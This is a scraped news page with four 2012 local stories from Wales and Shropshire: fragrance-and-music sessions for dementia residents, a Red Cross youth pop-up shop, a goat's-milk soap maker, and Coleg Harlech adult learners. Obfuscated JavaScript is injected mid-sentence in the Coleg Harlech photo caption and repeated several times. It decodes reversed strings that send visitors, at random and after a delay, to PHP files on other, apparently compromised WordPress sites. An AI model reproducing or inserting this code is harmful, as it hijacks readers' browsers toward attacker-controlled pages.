Category: News

Fragrance therapy is heaven scent

PENDINE PARK Fragrance Therapy session in conjunction with the final Halle orchestra workshop at Bodlondeb . Pictured is Creative Perfumer Kate Williams.

Sweet smells make sweet music

An expert has blended fragrances with music from Hallé orchestra musicians to give people with dementia a whole new experience.

They have listened to music from Spain with the smell of oranges in the air and soothing music set to the scent of lavender, while the whiff of the beach set the scene for some water music.

The collaboration between top creative perfumer Kate Williams and Hallé musicians is being explored by the Pendine Park care organisation.

Its partnerships with the Hallé and Welsh National Opera has already earned Pendine Park a award from Arts and Business Cymru, when it recently won the Arts, Business and the Community Award, sponsored by Wales and West Utilities.

The sessions have been staged for residents at Bodlondeb, Pendine Park’s purpose built centre of excellence to look after people with dementia.

Kate, creative perfumer for Manchester-based Seven Scents, the wholly owned subsidiary of PZ Cussons’ fragrance division, said: “I think it’s very beneficial for people with dementia. A pleasant smell in the room is so uplifting. Our sessions have gone really well and the feedback has been very positive.

“I have a working relationship with the Hallé through the sponsorship link with our parent company PZ Cussons. We wanted to develop the relationship and I started working creatively with Hallé composer and Education Director Steve Pickett, putting together fragrances with the music and taking them into schools.

“He said it would be good if I looked at the work the Hallé does with homes, like Pendine Park.”

Kate pointed out that food fragrances released automatically have already helped dementia patients who can forget to feed themselves at mealtimes. The smell of food reminds them to eat.

Pendine Park’s Artist-in-Residence, Sarah Edwards, said: “For our first session we had a theme – ‘holidays’ – and matched the music and fragrances accordingly.

“For instance Kate produced a smell of oranges and then the musicians played some Spanish music.

“Kate also produced the smell of fresh cut grass and lavender and is going to produce candy floss for another session.

“The reaction from the residents was good. We noticed the fragrances stimulated them, particularly the orange smell when they became a lot noisier! The lavender made everyone more
chilled and relaxed.

“The fragrance therapy is part of a wider project to create new training modules for our care staff, promoting the arts and various therapies so we can enrich people’s lives.”

Kate added: “With the orange smell the residents got a real buzz about it and loved engaging with the music.

“There is a composition for residents to become involved using rain sticks so that it builds up from rain to a storm, for which I produce a beach/marine fragrance.

“In my job I create fragrances for everything from shower gels to laundry products, perfume to aftershaves, it’s just the theme which is different here. I produce the fragrances in a spray and spray it onto blotters which the residents can keep hold of.

“When we had the calming lavender music we had a few residents drifting off!” She’s working on a Pendine request for the holiday music by producing the smell of a coconut suntan lotion.

The music was provided by Hallé musicians, including Pendine Park’s Musician in Residence, Janet Simpson, who plays the piano and celeste, and cellist David Petri.

Steve Pickett said: “PZ Cussons is one of our major sponsors and as a company they are fun to work with because they do not simply give us money – they are really interested in what we do and how we do it.

“We have a number of strategies, for our schools concerts we started off with a theme about the senses and Kate designed some scratch and sniff cards for the children to use during the concerts.

“The Hallé has also done some improvisational things at Cussons as part of team building exercises. Kate has done other general work involving dementia and has also done work with the
Seashell Trust (for the deaf) where PZ Cussons and Hallé have connections.

“Hallé have been involved in music in residence at Pendine for about three years now and Cussons was interested in what we do here.”

Kate studied psychology at university but for her Masters looked at the interaction between fragrances and what people choose. That led her to the little-known world of the perfume industry.

And what happens to a creative perfumer when she gets a cold? “I have to do my paperwork,” added Kate.

Tuesday August 28th, 2012

—

News

—

Lifetime achievement as young volunteers launch Shewsbury’s first ever Red Cross pop-up shop

Summer of a Lifetime students outside the pop up shop in the Darwin Centre, Shrewsbury. Hollie Corcoran-Bradbury, front left andRebecca Robinson with other students

A signed Shrewsbury Town football, an Edinburgh Woollen Mill hamper and video games are just some of the prizes on offer when the British Red Cross opens its first ever pop-up shop in Shrewsbury this Saturday.

The store will be in the town’s busy Darwin Centre and will be staffed by 12 young volunteers from across Shropshire.

It’s the culmination of their Summer Of A Lifetime with the British Red Cross in the county and will be aiming to raise a bumper crop of cash for the charity.

Tom Gillam, Project Co-ordinator for the British Red Cross, based in Shrewsbury, said: “We are opening our first ever pop-up shop in Shrewsbury and it will be a great opportunity for people to bag a bargain and win a fabulous prize.

“We have some top quality clothing on offer and much more as well including some hand-made jewellery designed by one of our young volunteers.

“They come from all parts of the county and have done a fantastically with whatever challenge they’ve faced and this is the culmination of that and they have done all the work.

“They have given up their summer to take part in this community project. They have all been very committed and very keen and they have all put in much more than the 30 hours they volunteered to do.

“They have gathered the prizes for the raffle and organised the merchandise which we will have on sale and they will also be here on the day to staff the store.”

Hollie Corcoran-Bradbury, 16, from Cressage, who starts a design course at Shrewsbury College of Art next month, has designed and made the jewellery on sale and she said: “I’ve been making jewellery and selling it on the internet and for charity for about two years now.

“I got involved because I had recently moved here from Oxford and thought it would be fun and a good way to meet people and it’s been great and I’ve made some friends for life.”

Rebecca Robinson, 16, from Reabrook, Shrewsbury, is another of the volunteers and she said: “I’ve really enjoyed it and we’ve done everything from canoeing and climbing waterfalls to doing first aid and we’ve met some wonderful people.

“This Saturday should be very exciting and great experience as well. I’ve been in charge of collecting for the raffle and we’ve had a really great response – everyone in the local shops has rallied round to support us.”

Kim Smith, 16, from Wellington, Telford, is in charge of the shop on Saturday and she said: “I saw the opportunity advertised in the Telford Journal and just decided to give it a go because it seemed to be something worth doing.

“It’s been very busy this week trying to organise everything and get everything right for Saturday and we’ve all been given different tasks to do but everyone has just got stuck in.”

Tom Newman, 17, from Treflach, Oswestry, is an engineering student at Yale College in Wrexham and he said: “I am involved with the Young Carers Project and wanted to do this when I saw it”.

“It really has been the Summer of a Lifetime with the activities we’ve done with team building and teamworking and hopefully I can use the skills I’ve learned to help us raise plenty of money.”

Kevin Lockwood, Manager of the Darwin, Pride Hill and Riverside Shopping Centres, who made the unit available to the Red Cross, said: “These young people have given up so much of their time for such a good cause that they deserve to do really well.

“They have come from all over Shropshire and really put a lot of effort in and I’m sure they will do well on Saturday and they’ll enjoy it too – perhaps it will give them a taste for retail as well.”

Tom Gillam added: “The team are making a film of what we’ve done this summer and it will be shown at a celebration event at Cineworld in Shrewsbury on September 17.

“They are 12 really cracking young people who have given so much of their time and hopefully this film will inspire other young people to do the same.”

Tuesday August 28th, 2012

—

News

—

Soap firm milks success from goats

Carol Allen of Llanvalley Natural Products will be at Llangollen Food Festival later this year. With Billie, Phyllis and Dilys looking through the fence.

Turning to goat’s milk for medical reasons has proved a business winner for Carol Allen.

With her goats producing far too much milk for her family to eat and drink, Carol set up Llanvalley Natural Products and started making pure hand-made soaps, boasting only natural ingredients from Wales, selling on-line and at farmers markets.

Now she will be the first soap maker at Hamper Llangollen 2012 that’s being held on Saturday and Sunday, October 20 and 21.

She’s been accepted to attend the food festival because she is a “primary producer”, using her milk for another product.

“I’ve visited the Llangollen Food Festival before but I’m really looking forward to going along as an exhibitor.

“We don’t have our own shop so Hamper 2012 is a brilliant opportunity to meet our customers face to face and for them to try our products before buying.

“The festival is a high profile event and it will provide the perfect showcase for Llanvalley.”

This year’s festival is being supported by the rural development agency, Cadwyn Clwyd.

Cadwyn Clwyd’s contribution came via the Rural Development Fund for Wales 2007-2013, which is funded by the European Agricultural Fund for Rural Development (EAFRD) and the Welsh Government.

Robert Price, Cadwyn Clwyd’s agri-food project officer, said: “We are looking forward to welcoming Llanvalley and their innovative products this year.”

Carol is a former design and technology teacher at St Richard Gwyn High, in Flint.

She and Airbus worker husband Jim and their four sons, lived in Holywell, but six years ago moved to five acres at Dolydd, Cefn Mawr, with wonderful views of the Dee Valley and neighbouring Pontcysyllte aqueduct, mainly to be closer to her parents.

Carol wanted to keep goats because one son had an intolerance for cow’s milk and eczema.

Five years ago she bought British Saanan goats Lily, Millie and Billy from neighbours Godfrey and Pat Williams.

“My father was a farmer and I knew how to look after livestock,” said Carol. “At first we were just drinking the milk and I was making cheese and yogurt and we needed a lot of scrub clearing so the goats were useful for that. The goats were producing about two litres of milk a day, twice a day.

“Now I have a system so that one is in kid and the other in milk and we alternate them. I only need a litre of milk a day to produce a batch of 60-80 bars of soap.

“My youngest son could not use conventional soap because his skin was very sensitive so I started to make my own soap,” said Carol who also taught food technology at Bryn Alyn High in Gwersyllt.

The soap proved very beneficial for her son’s skin and Carol began selling it and went self-employed in July last year.

The goats have increased in numbers – Dilys arrived last year and two kids born about five weeks ago, Billy Boy and Philys, are still being bottle fed.

“The soap I made from a friend’s recipe and experimentation and research.”

My soap is hand cut and has very little fragrance. I don’t use any artificial ingredients or preservatives. I use pure essential oils which I know will be of benefit and if they have a fragrance that’s a bonus.

“I don’t know many soap makers who keep their own goats, milk them and make everything from scratch. I milk the goats and do all the packaging,” said Carol who also has four horses,
hens and ducks.

Carol personalises her soap packaging so that outlets and B&B’s can have their own names on the soap – she provides a local outlet, Jones the Boats, with ‘Aqueduct Soap’.

About six months ago Carol also started making balms. After meeting Steve Rose from Clwyd Bee Keepers Association at Celyn Farmers Market in Mold. “Steve wins awards for his top quality beeswax so I know that the balms are really pure in quality.”

Carol, a member of the Gwynedd and Clwyd Craft Workers Association and Wales Craft Council, would like to explore the idea of her soap making becoming a tourist attraction but would need help to improve the narrow lane access to their smallholding.

“I know tourism organisations would like to keep visitors to the aqueduct in the area longer and developing attractions like this, along with craft workshops, would be one way, rather like they have done at Loggerheads and Afonwen,” said Carol.

Also starring at Hamper Llangollen 2012 will be a trio of Wales’s top chefs.

Graham Tinsley, the star of ITV’s Taste the Nation and a former captain of the Welsh Culinary Team, will be joined in the show kitchen by S4C favourite Dudley Newberry.

Completing the hat-trick will be the ever popular Dai Chef, who is returning to the event after an absence of several years.

Robert Price added: “Thanks to a whole host of indigenous companies, North East Wales is rapidly establishing a reputation as a centre of excellence for high quality cuisine.

“The food festival is a perfect shop window for the companies who form the backbone of our rural economy.

“The location of the Pavilion is absolutely  spectacular – I can’t imagine that any other food festival in the UK has a more beautiful setting.”

More information about Hamper Llangollen 2012 can be found at www.llangollenfoodfestival.comand you can see Carol’s range of soaps at www.llanvalley.co.uk or on Facebook.

Friday August 24th, 2012

—

News

—

Educating Emma a real life-changing experience thanks to Coleg Harlech

Coleg Harlech Pathways $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to progression awards at Caia Park, Wrexham. Rhian Doran and Emma Lewis with Principal Trefor Fôn Owen and local MP Ian Lucas

It’s like the award winning film, Educating Rita – but this is for real.

A second chance at education has been a fundamentally life-changing experience for six young women from the Caia Park housing estate, in Wrexham.

For mum of three Emma Lewis, 27, and her five friends, the Pathway to Progression course organised by Coleg Harlech WEA has given them a new future, a future they never imagined would be possible.

The other successful students are Rhian Doran, Catherine Hughes, Micheala Adamson, Amy Edwards and Stacey Boyle.

They are now all heading to Glyndwr University to continue their studies this Autumn after passing the course with flying colours.

Bursting with pride, they were presented with their end of course certificates by Wrexham MP Ian Lucas, Coleg Harlech Principal Trefor Fȏn Owen and Curriculum Manager Nick Taylor.

Just like the Julie Walters character in the Oscar nominated film co-starring Michael Caine, each of the students is walking tall after tasting academic success for the first time.

Caia Park, the largest housing estate in Wales with a population of 12,000, has endured many unkind and unfair labels over the years.

But amid the deprivation there is tangible pride and a growing sense of community – not least because of the classes held at the Caia Partnership.

Like most of the others on the course, Emma had a rocky start to adulthood – and left school without any qualifications to speak of.

Her life is now totally transformed and she paid tribute to Coleg Harlech for giving her a new start.

Emma recalled: “At school I really wasn’t interested to be honest. I had a few difficulties and struggled academically and was in special needs in a few classes. I preferred going out and having fun.

“I went to college and did a year and a half hairdressing -  and then I fell pregnant at 17, so my life  got waylaid. As you can imagine kids come first.

“I’m ready for education now, I’m older and wiser, my children are at school.

“I was very nervous when I started the course but it was the best thing I ever did and I never looked back.

“The support you get from Coleg Harlech is  just unbelievable and the Caia Park Partnership is just brilliant.

“I’ve really enjoyed it. My confidence now is just outstanding. When I first came here  my head would be down and now my head is held high. I get goose-bumps thinking of it.

“My children are the best thing that ever happened to me but this is something I can do for myself  and it’s something that in the long run will benefit them too.

“I’ve just been accepted into Glyndwr University to do Criminology. Afterwards, I either want to help domestic violence victims, male and female, or work in a prison in a mother and baby unit.

“I now have a  bright future, and I can’t wait to start!”

Coleg Harlech WEA Curriculum Manager Nick Taylor explained the 30-week course was organised in conjunction with Glyndwr University.

The students were able to gain Open College credits in business administration, sociology, history and study skills. Everybody who completed the course successfully was guaranteed an interview at the least.

Nick said:  “By and large, the students have not had a very successful school career, so this has given them an opportunity to come back and to aim high.

“It’s an intensive course and it does require considerable commitment. You don’t get to university by accident – they have to work hard.”

Coleg Harlech Tutor Sue King was “humbled” by their achievement.

She said: “It has been a privilege to teach them. They’re amazing. They’ve all sorts of reasons why it would have been difficult for them just to get to the class twice a week, but they always made it.

”I have seen a complete transformation in them and I am so proud.”

For his part, MP Ian Lucas was delighted to be asked to present the certificates.

He said: “Education has given me everything that I have and I think it’s tremendous to come here today. It’s really inspirational.”

It was a sentiment echoed by Principal Trefor Fȏn Owen who added: “This is what Coleg Harlech WEA is all about.

“We’d like to see this kind of work being developed across the whole of Wales because there are a lot of families that aren’t able to go to formalised learning, they would prefer to learn in their own communities, so this is an ideal venue and an ideal opportunity for them.”

“It leads to far more than the individual development, it also has a positive impact on the whole community.”

It has certainly had a positive impact on mum of four Rhian Doran, 30.

She said: “I was really nervous but all of the girls  just gelled straight away -the work is really hard but it’s worth it  and we got all of the help in the world.

“It’s given me so much confidence and I can do things I didn’t think I could do.

“I didn’t have a life before, it was just me and the kids. It’s given me friends, it’s given me the opportunity to go to university which I never thought I’d have ever done.

“This has given me a completely new future,” she added.

For more information about the courses run by Coleg Harlech WEA go to: www.harlech.ac.uk

Thursday August 16th, 2012

—

News

—